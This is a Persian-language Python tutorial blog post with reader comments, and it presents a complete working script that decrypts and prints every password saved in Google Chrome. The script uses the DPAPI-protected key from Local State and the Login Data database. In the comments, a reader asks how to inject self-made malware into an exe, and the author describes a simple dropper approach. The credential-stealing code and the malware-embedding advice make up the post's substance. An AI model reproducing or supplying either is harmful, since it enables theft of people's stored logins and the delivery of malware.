بیرون کشیدن پسوورد های ذخیره شده روی google chrome با پایتون :: Mr Python | مستر پایتون

بیرون کشیدن پسوورد های ذخیره شده روی google chrome با پایتون

  • ۹۶۰

بیرون کشیدن پسوورد های ذخیره شده روی google chrome با پایتون

درود به همه !

سلام دوستان :) حالتون ؟ احوالتون ؟ اقا امروز یه دونه از اون آموزش باحالا رو داریم . میخوایم یه اسکریپتی بنویسیم که تا اجراش میکنیم بیاد بیل بزنه تمام پسوورد های ذخیره شده روی مرورگر گوگل کروم رو بریزه بالا . این ویدیو رو از دست ندین به دوستاتونم معرفی کنید :)

 

 

سورس کد نوشته شده در ویدیو اموزشی :

# https://mrpython.blog.ir
# Chrome Password Extract

import json
from base64 import b64decode
import win32crypt
import sqlite3 
import shutil
from Crypto.Cipher import AES

f = open("C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Local State")
local_state = json.loads(f.read())

key = local_state["os_crypt"]["encrypted_key"]

#  1
key = b64decode(key) # Base 64 Decoder
key = key[5:]
#  2
key = win32crypt.CryptUnprotectData(key)[1]
###########################################
path = "C:\\Users\\Hossein\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\"
shutil.copy(path+"Login Data" , path+"database2") # Copy Database

database = sqlite3.connect(path+"database2")
cursor = database.cursor()

cursor.execute("select origin_url , username_value , password_value from logins")

result = cursor.fetchall()

def decrypt(password , key):
    iv = password[3:15]
    password = password[15:]
    
    cipher = AES.new(key , AES.MODE_GCM , iv)
    password = cipher.decrypt(password)
    password = password[:-16].decode()
    return password


for i in result:
    url = i[0]
    username = i[1]
    password = decrypt(i[2] , key)
    print("{} : ".format(url))
    print("\tusername : {}".format(username))
    print("\tpassword : {}".format(password))
    print()


input()

امیدوارم لذت برده باشید . برای دیدن آموزش های بیشتر ، کانال یوتیوبمون رو سابسکرایب کنید ، آپاراتمون رو دنبال کنید و عضو کانال تلگراممونم بشید . 

 

[تصویر پست از www.techrepublic.com]

سوالی نظری بود مطرح کنید :)

یا حق !

Telegram Channel : @mrpythonblog

 

  • سلام وقتی میخوام ران کنم این ارور رو میده : ModuleNotFoundError: No module named 'Crypto' 

    اگر میشه بگین چجوری میتونم این کتابخونه رو دانلود کنم

    پاسخ:
    سلام . 
    داخل فیلم نگاه کنید کتابخونه مورد نیازشو اول نصب میکنیم . احتمالا نصب نکردید یا درست نصب نشده .
  • محمد طاها مقدسی

    خیلی عالی بود دمتون گرم خیلی هم خوب و روان

    پاسخ:
    درود . خواهش میکنم . ممنون که دیدید :)
  • عالی بود 

    مخصوصا به همراه نمک های ویدیو 😂😂😂

    خسته نباشید 

    پاسخ:
    درود .
    خداروشکر:)
    مچکرم همچنین .
  • سلام خسته نباشید عالی بود

    ببخشید اگه بخوایم همین طوری که اینا رو کشید بیرون و در خط اخر اینقدر زیبا نشونش داد رو همین طوری داخل یه فایل تکست ذخیره کنید چی و کچا باید بهش اضافه کنیم توی سوس کد اگه میشه کل سورس کد جدید رو بنویسید

    پاسخ:
    درود بر شما . ممنون :)
    لطفا تلگرام پیام بدید یا ایمیل بگذارید تا سورس کدشو براتون بفرستیم :)

  • عالی بودی استاد عشقید 

    پاسخ:
    درود بر شما . 
    ممنونم :)
  • عالیه 

    پاسخ:
    خیلی ممنون :)
    موفق باشید ...
  • سلام

    چجوری میشه یه بدافزار رو که ساختم به یه نرم افزار exe تزریق کرد؟

    پاسخ:
    سلام
    روش های مختلفی هست برای اینکار . یکی از ساده تریناش اینه یه برنامه ای بنویسید که کدباینری اون فایل دوم رو داخل خودش داشته باشه و حین اجرا شدن اون کد باینری رو بنویسیه داخل یه فایلی مثلا داخل مسیر tmp در ویندوز . سپس اونو اجرا کنه .

    انشاءالله یه آموزش در موردش ضبط میکنیم .
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی